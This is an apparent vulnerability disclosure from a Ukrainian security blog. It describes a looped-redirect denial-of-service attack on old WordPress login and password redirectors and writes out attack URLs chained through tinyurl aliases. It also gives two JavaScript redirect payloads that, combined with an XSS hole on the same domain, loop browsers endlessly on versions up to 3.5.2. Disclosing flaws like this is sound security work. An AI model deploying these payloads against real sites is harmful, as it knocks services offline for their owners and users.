Denial of Service в WordPress

23:59 25.06.2013

Торік я писав про XSS уразливості в WordPress, які мають місце в двох редиректорах. Про Redirector уразливості в цих скриптах WP я писав ще в 2007 році (та зробив патчі для них). Розробники виправили редиректори в WP 2.3, тому Redirector і XSS атаки можливі лише в попередніх версіях.

Як я вияснив 24.06.2013, через цей функціонал можна також провести DoS атаки. Тобто з двох редиректорів можна зробити Looped DoS уразливості, поєднавши сайт на WordPress з сервісом редирекції чи іншим сайтом. Дана атака аналогічна зацикленню двох редиректорів, описаному в моїх статтях Пекло редиректорів та Пекельний вогонь для редиректорів.

Раніше я вже писав про CS та XSS уразливості в SWFUpload в WordPress.

Denial of Service (WASC-10):

Потрібно зробити Custom alias на tinyurl.com чи іншому сервісі редирекції, що буде вести на wp-login.php чи wp-pass.php з вказаним аліасом для редирекції.

http://site/wp-login.php?action=logout&redirect_to=http://tinyurl.com/loopeddos1
http://site/wp-pass.php?_wp_http_referer=http://tinyurl.com/loopeddos2

Ось приклади даних уразливостей:

http://tinyurl.com/loopeddos1
http://tinyurl.com/loopeddos2

Дана атака спрацює для WordPress < 2.3. При цьому Mozilla, Firefox, Chrome та Opera після серії запитів зупиняють зациклений редирект, на відміну від IE.

Для того, щоб атака спрацювала у всіх версіях движка, включно з WP 3.5.2, потрібно щоб редиректор був на цьому ж домені, де і сайт на WP. Для цього можна використати будь-яку уразливість, наприклад, reflected XSS чи persistent XSS (на тому ж домені), для включення скрипта для редирекції на один з цих редиректорів:

WordPress_Looped_DoS.html

<script>document.location="http://site/wp-login.php?action=logout&redirect_to=http://site/WordPress_Looped_DoS.html"</script>

WordPress_Looped_DoS-2.html

<script>document.location="http://site/wp-pass.php"</script>

Атака працює як в WordPress 3.5.2 і попередніх версіях, так і не зупиняється браузерами (редирект нескінченний).


Leave a Reply

You must be logged in to post a comment.